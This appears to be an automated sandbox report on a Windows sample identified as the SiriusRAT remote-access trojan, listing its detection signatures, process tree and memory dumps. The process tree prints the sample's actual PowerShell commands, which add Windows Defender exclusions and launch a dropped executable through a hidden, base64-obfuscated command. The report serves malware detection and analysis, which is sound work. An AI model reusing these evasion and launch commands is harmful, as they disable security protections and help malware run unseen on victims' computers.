Analysis
- max time kernel
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 06:08
General
- Target NEW PO & SAMPLE DETAILS.exe
- Size 2.7MB
- Sample260804-gv5egseb55
- SHA256 13367ed6c45119783c7eccc3db9b7a9095a4d662d9f5e7bc1ae1d195958ab1e2
Malware Config
Signatures
- Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
- Detects SiriusRAT 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$sbxbz5=1937;$4mpo2i=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$rkngij=Get-Date;$x2ip0l=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFF5dlJxek9jTlYuZXhl')));$irmadl=[System.Environment]::TickCount;& $4mpo2i -FilePath $x2ip0l"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exeC:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe3⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_snklvef2.2vq.ps1
QyvRqzOcNV.exe
memory/3168-18-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3916-4-0x000001ED73FA0000-0x000001ED73FB4000-memory.dmp
memory/3916-3-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-7-0x000001ED76590000-0x000001ED7682A000-memory.dmp
memory/3916-8-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-0-0x00007FF92979F000-0x00007FF9297A0000-memory.dmp
memory/3916-1-0x000001ED71F50000-0x000001ED72212000-memory.dmp
memory/3916-2-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-5-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-21-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-6-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5036-36-0x000001970A570000-0x000001970A584000-memory.dmp
memory/5860-44-0x0000023852FB0000-0x0000023852FCE000-memory.dmp
memory/5860-45-0x0000023853230000-0x00000238532E2000-memory.dmp
memory/5860-46-0x0000023852FA0000-0x0000023852FAA000-memory.dmp
memory/5864-20-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-23-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-24-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-22-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-25-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-26-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-27-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-28-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-30-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-19-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-17-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-16-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-15-0x000001E7248D0000-0x000001E7248F2000-memory.dmp
memory/5864-12-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-11-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-10-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/5864-9-0x00007FF929610000-0x00007FF929FB4000-memory.dmp